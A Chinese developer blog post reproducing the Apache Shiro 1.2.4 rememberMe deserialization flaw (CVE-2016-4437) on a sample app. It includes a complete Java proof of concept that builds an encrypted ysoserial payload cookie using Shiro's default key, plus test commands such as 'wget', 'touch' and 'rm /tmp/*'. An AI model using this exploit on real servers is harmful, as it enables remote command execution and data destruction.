shiro1.2.4反序列化漏洞(CVE-2016-4437)的问题分析(一)

记录Java开发中的问题,一起成长!

问题背景:在某个项目中依赖了shiro1.2.4,结果收到了网警的一纸警告,警告上明确写道存在CVE-2016-4437以及造成此漏洞的罪魁祸首是使用了<=1.2.4版本的shiro。

复现CVE-2016-4437

漏洞是有了,那么这个漏洞到底有多严重呢?我们来复现一下这个问题。

需要用到的工具:

ysoserial源码或jar包 (公众号内获取方式将文章底部)

shiro-root源码(主要使用里面的samples-web子项目)可以从官网下载,不过这里直接提供一个编译好的压缩包(公众号内获取方式将文章底部)

如果使用的是我们提供的编译好的压缩包下面的信息可以不看了:

shiro-root项目如果下载源码编译可能会出现如下错误:

  1. maven-toolchains-plugin错误

[ERROR] Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:  1.1:toolchain (default) on project shiro-samples: Cannot find matching toolchain   definitions for the following toolchain types:  [ERROR] jdk [ vendor='sun' version='1.6' ]  [ERROR] Please make sure you define the required toolchains in your ~/.m2/toolchains.xml file.

这是因为shiro-root-1.2.4.pom中使用了maven-toolchains-plugin,而maven中没有配置toolchain导致无法编译(toolchain可以指定编译时使用的jdk版本),见shiro-root-1.2.4.pom中的maven-toolchains-plugin:

<plugin>  <groupId>org.apache.maven.plugins</groupId>  <artifactId>maven-toolchains-plugin</artifactId>  <version>1.1</version>  <configuration>    <toolchains>      <jdk>        <version>1.6</version>        <vendor>sun</vendor>      </jdk>    </toolchains>  </configuration>  <executions>    <execution>      <goals>        <goal>toolchain</goal>      </goals>    </execution>  </executions></plugin>

这里定义了1.6版本的JDK的目录,当然,你也可以定义多个toolchain。
ok,大功告成!
如果需要了解更多关于toolchain的信息,可以看这里:http://maven.apache.org/guides/mini/guide-using-toolchains.html

2、Maven打包web项目报错:webxml attribute is required (or pre-existing WEB-INF/web.xml if executing in update)
第一种、在pom.xml文件中定义一个参数配置

<properties>        <failOnMissingWebXml>false</failOnMissingWebXml>    </properties>

第二种、更新maven-war-plugin的版本

<plugin>  <artifactId>maven-war-plugin</artifactId>  <version>3.0.0</version></plugin>

第三种、在webapp目录下创建WEB-INF/web.xml

mvn package -Dmaven.test.skip=true

3、运行时还可能报错:

The absolute uri: [http://java.sun.com/jsp/jstl/core] cannot be resolved in either web.xml or the jar files deployed with this application


将jstl的版本改为为1.2
并引入collections4准备验证错误

<dependency>    <groupId>org.apache.commons</groupId>    <artifactId>commons-collections4</artifactId>    <version>4.0</version></dependency>

3、访问经过上面的步骤应该就可以部署成功了。部署成功后访问页面。

漏洞利用

项目已经有了,在项目的lib目录中放入commons-collections4-4.0.jar的jar包(有漏洞的jar包都可以,此处以commons-collections4-4.0.jar为例)。

编写java程序(需要依赖于ysoserial):

注意:CommonsCollections2针对的是commons-collections4-4.0的漏洞,如果是commons-collections:3.1使用CommonsCollections1,具体可以查看ysoserial.payloads的源码

package ysoserial; import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.FileWriter;import java.io.IOException;import java.io.ObjectOutputStream;import java.security.Key; import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec; import org.apache.commons.codec.binary.Base64; import ysoserial.payloads.CommonsCollections2;import ysoserial.payloads.ObjectPayload; public class ShiroPOC {     private static final byte[] keyBytes = Base64.decodeBase64("kPH+bIxk5D2deZiIxcaaaA==");     public static void main(String[] args) {        if (args.length != 2) {            System.out.println("usage: java -jar shiroPoc.jar command pocPath");        }        // wget http://www.baidu.com        // touch /tmp/kevintest.txt        // exec calc        // CommonsCollections2针对的是commons-collections4-4.0的漏洞,如果是commons-collections:3.1使用CommonsCollections1,具体可以查看ysoserial.payloads的源码        ShiroPOC.run(CommonsCollections2.class, "wget http://www.baidu.com", "d:/tttttt.txt");        //        // http://www.dnslog.cn/getdomain.php 获取域名        // http://www.dnslog.cn/getrecords.php 获取访问记录        // ShiroPOC.run(URLDNS.class, "http://eoaw7y.dnslog.cn", "d:/tttttt1.txt"); //注意里面的域名需要重新获取可能已经过期    }     @SuppressWarnings({ "rawtypes" })    public static void run(Class<? extends ObjectPayload> ObjectPayloadClz, String cmd, String filePath) {        // 3个参数1类 2执行命令 3文件路径        System.out.println("======================================================================");         try { //            String className = ObjectPayloadClz.getName(); //            Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);            ObjectPayload payload = (ObjectPayload) ObjectPayloadClz.newInstance();            Object object = payload.getObject(cmd);             byte[] objectBytes = toByteArray(object);             byte[] objectEncriptBytes = aesEncrypt(objectBytes);            System.out.println("加密后:" + objectEncriptBytes.length);            System.out.println("");             String strHex = parseByte2HexStr(objectEncriptBytes);            System.out.println("转十六进制后:" + strHex);            System.out.println("");             byte[] hexTobyte = parseHexStr2Byte(strHex);            System.out.println("转二进制后:" + hexTobyte);            System.out.println(hexTobyte.length);            System.out.println("");             byte[] descBytes = AES_CBC_Decrypt(hexTobyte);            System.out.println("解密后:" + new String(descBytes));            System.out.println("");             byte[] byteMerger = byteMerger(getIV(), hexTobyte);            System.out.println(new String(byteMerger));            System.out.println("");            System.out.println("byteMerger length: " + byteMerger.length);            System.out.println("");            byte[] base64ByteMerger = Base64.encodeBase64(byteMerger);            String base64MergerStr = new String(base64ByteMerger).replaceAll("\r|\n", "");            System.out.println("rememberMe=" + base64MergerStr);            System.out.println("");             createFile(filePath, base64MergerStr);             byte[] descriptByte = Base64.decodeBase64(base64MergerStr);            byte[] objectByte = new byte[descriptByte.length - 16];            System.arraycopy(descriptByte, 16, objectByte, 0, descriptByte.length - 16);            byte[] decriptObj = AES_CBC_Decrypt(objectByte);            System.out.println(new String(decriptObj));         } catch (Exception e) {            // TODO Auto-generated catch block            e.printStackTrace();        }    }     /**     * 将16进制转换为二进制     *      * @param hexStr     * @return     */    public static byte[] parseHexStr2Byte(String hexStr) {        if (hexStr.length() < 1)            return null;        byte[] result = new byte[hexStr.length() / 2];        for (int i = 0; i < hexStr.length() / 2; i++) {            int high = Integer.parseInt(hexStr.substring(i * 2, i * 2 + 1), 16);            int low = Integer.parseInt(hexStr.substring(i * 2 + 1, i * 2 + 2), 16);            result[i] = (byte) (high * 16 + low);        }        return result;    }     /**     * 将二进制转换成16进制     *      * @param buf     * @return     */    public static String parseByte2HexStr(byte buf[]) {        StringBuffer sb = new StringBuffer();        for (int i = 0; i < buf.length; i++) {            String hex = Integer.toHexString(buf[i] & 0xFF);            if (hex.length() == 1) {                hex = '0' + hex;            }            sb.append(hex.toUpperCase());        }        return sb.toString();    }     /**     * 使用AES 算法 加密,默认模式 AES/CBC/PKCS5Padding     */    public static byte[] aesEncrypt(byte[] str) throws Exception {         Key keySpec = new SecretKeySpec(keyBytes, "AES");        IvParameterSpec ivSpec = new IvParameterSpec(getIV());        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);        /**         * 初始化,此方法可以采用三种方式,按服务器要求来添加。(1)无第三个参数 (2)第三个参数为SecureRandom random = new SecureRandom();中random对象,随机数。(AES不可采用这种方法)         * (3)采用此代码中的IVParameterSpec         */        byte[] b = cipher.doFinal(str);        return b;    }     public static byte[] AES_CBC_Decrypt(byte[] content) {         byte[] ret = null;        try {            IvParameterSpec ivSpec = new IvParameterSpec(getIV());            Key key = new SecretKeySpec(keyBytes, "AES");            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");            cipher.init(Cipher.DECRYPT_MODE, key, ivSpec);            ret = cipher.doFinal(content);        } catch (Exception e) {            // TODO Auto-generated catch block            e.printStackTrace();        }        return ret;    }     public static byte[] getIV() {        String iv = "1234567812345678"; // IV length: must be 16 bytes long        return iv.getBytes();    }     public static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {        byte[] byte_3 = new byte[byte_1.length + byte_2.length];        System.out.println("arry1长度:" + byte_1.length + "arry1长度:" + byte_2.length);        System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);        System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);        return byte_3;    }     /**     * 创建文件     *      * @Title createFile     * @author 吕凯     * @date 2020年5月28日 上午10:26:53     * @param path     *            文件路径     * @param str     *            文件内容     * @throws IOException     *             void     */    public static void createFile(String path, String str) throws IOException {         FileWriter fos = new FileWriter(path);        fos.write(str);        fos.flush();        fos.close();    }     public static void createFile(String path, byte[] str) throws IOException {         FileOutputStream fos = new FileOutputStream(path);        fos.write(str);        fos.flush();        fos.close();    }     /**     * 对象转数组     *      * @param obj     * @return     */    public static byte[] toByteArray(Object obj) {        byte[] bytes = null;        ByteArrayOutputStream bos = new ByteArrayOutputStream();        try {            ObjectOutputStream oos = new ObjectOutputStream(bos);            oos.writeObject(obj);            oos.flush();            bytes = bos.toByteArray();            oos.close();            bos.close();        } catch (IOException ex) {            ex.printStackTrace();        }        return bytes;    }}

借助于http工具如Fiddler,在cookie中添加将rememberMe=上面生成的字符串,发起请求,到服务器上验证即可。

如执行的命令为touch /tmp/kevintest.txt

则到服务器的tmp目录下可用看到多了kevintest.txt文件。可以将命令再改成rm  /tmp/kevintest.txt看看,该文件被删除了,那么设想一下如果讲命令改成rm  /tmp/*设置更危险的命令会有什么后果?

思考

如果上面的例子还不够明显,可以多试几个脚本,看看在服务器上的运行情况。基本上项目运行用户能支持的命令,都可以通过这个rememberMe注入执行。那么这个漏洞有多严重就不言而喻了吧。

那么这个漏洞到底是怎么造成的以及怎样解决,我们将在后续的文章中继续进行分析。

专注Java技术,我们一起学习一起进步

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容